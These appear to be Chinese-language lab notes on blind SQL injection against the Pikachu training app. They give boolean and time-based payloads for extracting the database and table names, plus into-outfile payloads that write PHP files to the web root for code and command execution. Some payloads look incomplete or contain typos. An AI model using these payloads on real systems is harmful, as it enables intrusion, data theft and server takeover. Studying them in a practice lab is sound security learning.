sql-inject 漏洞-盲注
盲注:
基于真假的盲注
先用字符串测试一下
发现不行
再试试
因为kobe存在,and 1=1为真 所以被写入后台,所以存在sql注入
用之前基于报错的payload来试一下
kobe’ and extractvalue(0,concat(0x7e,version()))#
不行
获取数据库名称,取第一个字符转成ascii码,转成ascii码之后就可以对他进行运算
要转换成真和假,因为 在基于真假的sql注入里面,所有从前段看到的只有两种情况,要么是真,要么是假,所以payload传到后台的时候得出来的结果一定要是真或假两种情况,从前段才可以做对的判断,否则做不了判断。
看我们传进去的database的payload对应的结果返回的数据库长度是多少 是7个字符
kobe’ and ascii(substr(database(),1,1))>113#
如果返回了kobe对应的信息,意味着and后面的表达式为真,反之为假。基于真假就能知道database第一个字符串是不是>113。
提示不存在
改一下
kobe’ and ascii(substr(database(),1,1))=112#
显示出来了kobe的信息
(select table_name from information_schema.tables where table_schema=database() limit 0,1) 把这个payload替换database
kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
返回皮卡丘当前数据库第一个表的名称
用暂停5秒试一下
kobe’ and sleep(5)#
把我们输入的payload执行了,说明这块存在sql注入,并且是基于时间的盲注
根据时间的延迟来做判断
用 if 做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和 p 作比较,如果等于p 则暂停5秒钟。
kobe’ and if((substr(databese(),1,1))=‘p’,sleep(5),null)#
outfile:把select出来的两个字段写到后面指定的文件中去。
kobe’ union select “”,2 into outfile “/var/www/html/1.php”#
执行访问一下 传一个phpinfo() 赋值给text 最终被eval执行
通过链接可以执行任意php代码
看一下远程操作系统命令执行
system是php下用来执行操作系统的函数
kobe’ union select “”,2 into outfile “/var/www/html/2.php”#
kobe’ and exists(select * from aa)#
aa是我们猜测的部分 aa是一个字典
试一下
把抓到的包发送到intruder
把其他的都clear掉 只add aa
下面猜列的名字
kobe’ and exists(select id from users)#
试一下